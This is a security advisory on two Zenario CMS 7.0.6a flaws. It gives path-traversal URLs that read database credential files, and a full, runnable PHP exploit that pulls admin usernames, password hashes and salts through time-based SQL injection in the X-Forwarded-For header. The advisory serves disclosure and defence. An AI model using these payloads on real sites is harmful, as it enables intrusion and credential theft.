SSD Advisory – Zenario CMS Multiple Vulnerabilities

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
Zenario is a web-based content management system for sites with one or many languages. It’s designed to grow with your site, adding extranet, online database and custom functionality when you need it.
Vulnerability Details
Multiple vulnerabilities have been discovered in Zenario:
 

  • compressor.php Query String Multiple Bypasses readfile() Absolute Path Traversal Database Credentials Disclosure Vulnerability
  • user_functions.inc.php logUserIn() “X-FORWARDED-FOR” Remote Blind SQL Injection Vulnerability


compressor.php Query String Multiple Bypasses readfile() Absolute Path Traversal Database Credentials Disclosure Vulnerability
By forging a query string for compressor.php it is possible to force the application to disclose abitrary files, including configuration files with clear text credentials of the underlying database.
Example:

http://[host]/[path_to_zenario]/zenario/compressor.php?zenario_siteconfigp=&e=php

Where the dot of “zenario_siteconfig.php” is represented by the “p=&e=” sequence.
This will show you the database login. If a remote attacker succeeds to login the underlying database, he may then execute arbitrary code.
Note also that, to exhacerbate the vulnerability, this can be carried without valid credentials to the target application.
Other examples:

http://[host]/[path_to_zenario]/zenario/compressor.php?c:\bootp=&e=ini
http://[host]/[path_to_zenario]/zenario/compressor.php?/bootp=&e=ini
http://[host]/[path_to_zenario]/zenario/compressor.php?/etc/hostp=&e=conf

These attacks would work regardless of php.ini settings.
Vulnerable Code
See /zenario/compressor.php:

...
require 'cacheheader.inc.php';
//Get the requested file from the URL
//Exit if the request was not valid
if (!($path = preg_replace('@p=(.*)\&e=(\w+)@', '\1.\2', $_SERVER['QUERY_STRING'], 1)) <--------------------------- theese checks can be bypassed
 || ($path == $_SERVER['QUERY_STRING']) <----------------------------------------------------
 || (strpos($path, '..') !== false) <---------------------------------------
 || (!is_file($path))) { <------------------------------
	header('HTTP/1.0 404 Not Found');
	exit;
}
//A test option
if ($path == 'zenario/includes/test_files/is_htaccess_working.css') {
	echo 'Yes it is';
	exit;
}
//If this is a cached image, mark that it's been accessed
if (substr($path, 0, 8) == 'private/'
 || substr($path, 0, 7) == 'public/') {
	if (is_writable(dirname($path). '/accessed')) {
		touch(dirname($path). '/accessed');
	}
}
$ETag = 'zenario-loose_image--'. $_SERVER['HTTP_HOST']. '--'. $path;
useCache($ETag);
useGZIP();
//This is written for images, but use it to cover loose .js, .css and .ico files too
switch ($_GET['e']) {
	case 'css':
	case 'CSS':
		$mimeType = 'text/css';
		break;
	case 'ico':
	case 'ICO':
		$mimeType = 'image/vnd.microsoft.icon';
		break;
	case 'js':
	case 'JS':
		$mimeType = 'text/javascript';
		break;
	case 'woff':
	case 'WOFF':
		header('Access-Control-Allow-Origin: *');
		$mimeType = 'application/font-woff';
		break;
	default:
		$details = getimagesize($path);
		$mimeType = $details['mime'];
}
header('Content-Type: '. $mimeType);
readfile($path); <--------------------------------------------
...

user_functions.inc.php logUserIn() “X-FORWARDED-FOR” Remote Blind SQL Injection Vulnerability
Zenario installations that have this configuration value:

...
define('USE_FORWARDED_IP', true);
...

Inside zenario_config.php, a remote attacker could inject arbitrary SQL code through the ‘X-FORWARDED-FOR’ header of a GET request.
This limited to this configuration, the default constant is set to ‘false’. The remote attacker would also need valid credentials of the target application, user registration is enabled by default.
Vulnerable Code
This is because the logUserIn() function of /zenario/api/user_functions.inc.php uses the following code:

...
function logUserIn($userId) {
	//Get details on this user
	$user = getRow('users', array('id', 'first_name', 'last_name', 'screen_name', 'email', 'password'), $userId);
	//Create a login hash (used for the logUserInAutomatically() function)
	$user['login_hash'] = $user['id']. '_'. md5(httpHost(). $user['id']. $user['screen_name']. $user['email']. $user['password']);
	unset($user['password']);
	//Update their last login time
	$sql = "
		UPDATE " . DB_NAME_PREFIX . "users SET
			session_id = '" . session_id() . "',
			ip = '" . visitorIP() . "', <---------------------------------- injection here
			last_login = NOW()
		WHERE id = ". (int) $userId;
	sqlUpdate($sql);
	if(setting('sign_in_access_log'))
	{
	require_once CMS_ROOT. 'zenario/libraries/mit/browser/lib/browser.php';
	$browser = new Browser();
	$sql = "
		INSERT INTO ". DB_NAME_PREFIX. "user_signin_log SET
		    user_id = ". (int)  sqlEscape($userId).",
			screen_name = '". sqlEscape($user['screen_name']). "',
			first_name = '". sqlEscape($user['first_name']). "',
			last_name = '". sqlEscape($user['last_name']). "',
			email = '". sqlEscape($user['email']). "',
			login_datetime = NOW(),
			ip = '". sqlEscape(visitorIP()). "',
			browser = '". sqlEscape($browser->getBrowser()). "',
			browser_version = '". sqlEscape($browser->getVersion()). "',
			platform = '". sqlEscape($browser->getPlatform()). "'";
	sqlQuery($sql);
	}
	$_SESSION["extranetUserID"] = $userId;
	$_SESSION["extranetUser_firstname"] = $user['first_name'];
	sendSignal("eventUserLoggedIn",array("user_id" => $userId));
	return $user;
}
...

The call to visitorIP() is used to concatenate an UPDATE query without filtering. Now look the visitorIP() function inside /zenario/cacheheader.inc.php

...
function visitorIP() {
	if (defined('USE_FORWARDED_IP')
	 && constant('USE_FORWARDED_IP')
	 && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		return $_SERVER['HTTP_X_FORWARDED_FOR']; <----------------------------------------
	} elseif (!empty($_SERVER['REMOTE_ADDR'])) {
		return $_SERVER['REMOTE_ADDR'];
	} else {
		return false;
	}
}
...

If the ‘X-FORWARDED-FOR’ is present inside a GET request it is used instead of the real IP address.
Exploit

<?php
/*
Zenario CMS 7.0.6a user_functions.inc.php logUserIn() "X-FORWARDED-FOR" Remote Blind SQL Injection Proof Of Concept
this works when you have
define('USE_FORWARDED_IP', true);
inside zenario_config.php
and you need a limited user account
Example of usage:
C:\php>php zen.php
admin username -> test
admin pass -> sha256r1H4wkhhACE8jSBU9Vrbj+ypJYC+90I4ZweWO2wXFEQ=
admin password salt -> bZgniSj4
C:\php>
*/
error_reporting(E_ALL);
set_time_limit(0);
/****************** configure **********************/
$host                = "127.0.0.1";
$port                = 80;
$my_path             = "/zenario";
$user['id']          = 1;
$user['screen_name'] = "bookoo";
$user['email']       = "my_mail@mail.com";
$user['password']    = "mypass1234";
/***************************************************/
$hash = md5($host . $user['id'] . $user['screen_name'] . $user['email'] . $user['password']);
/*
Original query:
UPDATE zenario_users SET
session_id = '1',
ip = '[SQL HERE]',
last_login = NOW()
WHERE id = 1
*/
$c              = 1;
$admin_username = "";
echo "admin username -> ";
while (!strpos($admin_username, "\0")) {
    for ($i = 0; $i < 256; $i++) {
        $starttime = time();
        $sql       = "1', first_name=(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT username FROM zenario_admins WHERE id=1)," . $c . ",1)) = " . $i . ") THEN BENCHMARK(20000000,md5('a')) ELSE 'A' END)), last_name='";
        $pk        = "GET " . $my_path . "/index.php HTTP/1.0\r\n" . "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n" . "Cookie:  PHPSESSID=2; LOG_ME_IN_COOKIE=1_" . $hash . ";\r\n" . "X-FORWARDED-FOR: " . $sql . "\r\n" . "Host: " . $host . "\r\n" . "Connection: Close\r\n\r\n";
        //echo $pk;
        $fp = fsockopen($host, $port, $e, $err, 5);
        if (!$fp) {
            die("[!] Not connected!");
        }
        fputs($fp, $pk);
        $out = "";
        while (!feof($fp)) {
            $out .= fread($fp, 1);
        }
        fclose($fp);
        //echo $out;
        $endtime  = time();
        $difftime = $endtime - $starttime;
        //echo "difftime -> ".$difftime."\n";
        if ($difftime > 10) {
            $admin_username .= chr($i);
            echo chr($i);
            $c = $c + 1;
            sleep(2);
            break;
        }
    }
}
echo "\n";
$c          = 1;
$admin_pass = "";
echo "admin pass -> ";
while (!strpos($admin_pass, "\0")) {
    for ($i = 0; $i < 256; $i++) {
        $starttime = time();
        $sql       = "1', first_name=(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT password FROM zenario_admins WHERE id=1)," . $c . ",1)) = " . $i . ") THEN BENCHMARK(20000000,md5('a')) ELSE 'A' END)), last_name='";
        $pk        = "GET " . $my_path . "/index.php HTTP/1.0\r\n" . "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n" . "Cookie:  PHPSESSID=2; LOG_ME_IN_COOKIE=1_" . $hash . ";\r\n" . "X-FORWARDED-FOR: " . $sql . "\r\n" . "Host: " . $host . "\r\n" . "Connection: Close\r\n\r\n";
        //echo $pk;
        $fp = fsockopen($host, $port, $e, $err, 5);
        if (!$fp) {
            die("[!] Not connected!");
        }
        fputs($fp, $pk);
        $out = "";
        while (!feof($fp)) {
            $out .= fread($fp, 1);
        }
        fclose($fp);
        //echo $out;
        $endtime  = time();
        $difftime = $endtime - $starttime;
        //echo "difftime -> ".$difftime."\n";
        if ($difftime > 10) {
            $admin_pass .= chr($i);
            echo chr($i);
            $c = $c + 1;
            sleep(2);
            break;
        }
    }
}
echo "\n";
$c          = 1;
$admin_salt = "";
echo "admin password salt -> ";
while (!strpos($admin_salt, "\0")) {
    for ($i = 0; $i < 256; $i++) {
        $starttime = time();
        $sql       = "1', first_name=(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT password_salt FROM zenario_admins WHERE id=1)," . $c . ",1)) = " . $i . ") THEN BENCHMARK(20000000,md5('a')) ELSE 'A' END)), last_name='";
        $pk        = "GET " . $my_path . "/index.php HTTP/1.0\r\n" . "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n" . "Cookie:  PHPSESSID=2; LOG_ME_IN_COOKIE=1_" . $hash . ";\r\n" . "X-FORWARDED-FOR: " . $sql . "\r\n" . "Host: " . $host . "\r\n" . "Connection: Close\r\n\r\n";
        //echo $pk;
        $fp = fsockopen($host, $port, $e, $err, 5);
        if (!$fp) {
            die("[!] Not connected!");
        }
        fputs($fp, $pk);
        $out = "";
        while (!feof($fp)) {
            $out .= fread($fp, 1);
        }
        fclose($fp);
        //echo $out;
        $endtime  = time();
        $difftime = $endtime - $starttime;
        //echo "difftime -> ".$difftime."\n";
        if ($difftime > 10) {
            $admin_salt .= chr($i);
            echo chr($i);
            $c = $c + 1;
            sleep(2);
            break;
        }
    }
}
?>

Affected Version
Zenario CMS 7.0.6a
Vendor Response
The vendor has issued a patch, Zenario 7.0.6b ProBusiness, but is very vague and its not even clear if they have notified their customers strongly enough about these two vulnerabilities, we have tried asking them to provide a more clear security oriented advisory/page about these two issues but they responded that they only communicate via newsletters and do not publish information on their site.